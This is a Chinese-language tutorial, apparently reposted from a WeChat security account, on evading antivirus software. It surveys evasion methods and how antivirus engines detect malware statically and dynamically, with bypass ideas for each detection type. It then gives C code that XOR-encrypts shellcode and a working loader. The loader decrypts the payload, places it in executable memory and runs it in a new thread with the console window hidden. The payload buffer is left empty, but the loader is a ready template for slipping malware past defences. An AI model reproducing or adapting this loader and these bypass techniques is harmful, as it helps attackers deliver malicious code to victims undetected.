免杀学习(二)
免杀的方法
1、加壳
2、shellcode混淆、加密
3、各种语言的加载器,c,python,go等
4、powershell混淆免杀
5、分离免杀,shellcode和加载器不写在一个文件中,远程加载,本地加载等
6、白加黑(白名单程序执行恶意样本)
7、github免杀工具
8、自写加载器,通过其他方式执行shellcode
9、二开c2等
杀软基本原理
杀软对程序的划分
无害
没有任何的可疑行为,没有任何的特征符合病毒或木马
可疑
存在可以行为:操作注册表,打开cmd/powershell,修改用户,操作敏感文件等
存在木马病毒
特征符合木马或者病毒
杀软识别恶意样本的方式
静态查杀
静态查杀会使用病毒特征库,其中的特定标识可以是文件的特定代码片段、独特的字符串、文件结构等,杀软通过比对文件的特征与特征库中存在的信息是否匹配,来判断文件是否是恶意的。
样本特征
1、代码中的函数
杀软会通过反编译/查看exe字符串的方式查看代码,可以看到里面的一些函数和汇编代码,如:virtualalloc、rtlmovememory、creatthread等,以windows api函数为主(内存、堆、线程相关函数)。
2、shellcode特征
xfcx48x83....
3、文件名和md5 如果文件名使用了rlo翻转的话,无论是否为病毒都会直接杀,文件的md5值匹配样本库中的md5值,检测是否存在。
demo.txt.exe-->demo.exe.txt
查看文件 md5 hash
CertUtil -hashfile 文件路径 md5
各类小工具
在线平台
4、加密
使用加密解密行为或者对文件有额外保护措施(加壳)
5、数字签名
判断当前程序的数字签名是否正常
6、资源文件
指一个软件的一些图标信息,产品名称,产品版本,文件版本,版权,语言等信息
动态查杀
1、计算机
通常由r1或r2层挂监控的方式(类似于hook)当触发这些条件就会产生时间,例如:360会在系统的内核层对注册表和net1.exe进行监控,可以通过win32 api添加用户,通常啥软件监控有以下几种
服务
注册表
防火墙
敏感程序:cmd,powershell,wmi,psexec,bitsadmin,rundll等
用户:添加,删除,修改等操作
文件夹:
C:windowssystem32
C:UserAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
%tmp%
绕过思路:替换,cmd换powershell(混淆、编码、加密),更换windows api函数,使用shellcode
2、网络
ip、域名、证书
查找通讯的ip或域名是否之前存在攻击行为
流量
时间特征:扫描等,大规模扫描或其他不寻常的网络行为(fscan)
内容特征:data字段中是否存在命令控制相关的关键词或者加密特征(反弹shell)
结构特征:是否存在已知远控的通讯结构特征 x00x00x00x00
绕过思路:tcp分段,内容加密,使用合法证书等
shellcode处理
shellcode加密
1、异或加密
异或加密(XOR cipher)是一种简单的加密方式,基于异或(XOR)逻辑运算符来对数据进行加密和解密;异或加密使用一个密钥(通常是固定长度或与铭文长度相同的字符串)与铭文进行逐位异或操作。
异或加密的密钥:取值范围是0-255(即0x00到0xFF)。
#include <windows.h>
#include <stdio.h>
void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] ^= key;
}
}
int main() {
//0-255
int key1 = 200;
int key2 = 201;
int key3 = 202;
unsigned char buf[] = ""; //shellcode
printf("原始shellcode:rn");
for (int i = 0; i < sizeof(buf); i++) {
printf("\x%02x", buf[i]);
}
myXor(buf, sizeof(buf), key1);
printf("rnrn第一次异或后的shellcode:rn");
for (int i = 0; i < sizeof(buf); i++) {
printf("\x%02x", buf[i]);
}
myXor(buf, sizeof(buf), key2);
printf("rnrn第二次异或后的shellcode:rn");
for (int i = 0; i < sizeof(buf); i++) {
printf("\x%02x", buf[i]);
}
myXor(buf, sizeof(buf), key3);
printf("rnrn第三次异或后的shellcode:rn");
for (int i = 0; i < sizeof(buf); i++) {
printf("\x%02x", buf[i]);
}
}
1.1、异或加密的加载器
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") //不显示dos窗口
void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] ^= key;
}
}
unsigned char buf[] = ""; //异或加密后的shellcode
int main() {
//异或解密
int key1 = 202;
int key2 = 201;
int key3 = 200;
myXor(buf, sizeof(buf), key1);
myXor(buf, sizeof(buf), key2);
myXor(buf, sizeof(buf), key3);
//使用VirtualAlloc函数申请内存
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr == NULL) {
return 1;
}
//拷贝shellcode到内存中
memcpy(addr, buf, sizeof(buf));
//创建线程
HANDLE hThread = CreateThread(NULL,
NULL,
(LPTHREAD_START_ROUTINE)addr,
NULL,
NULL,
0);
//等待运行
WaitForSingleObject(hThread, -1);
//关闭线程
CloseHandle(hThread);
return 0;
}
原文始发于微信公众号(安全小白):杀软基本原理与异或加密
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论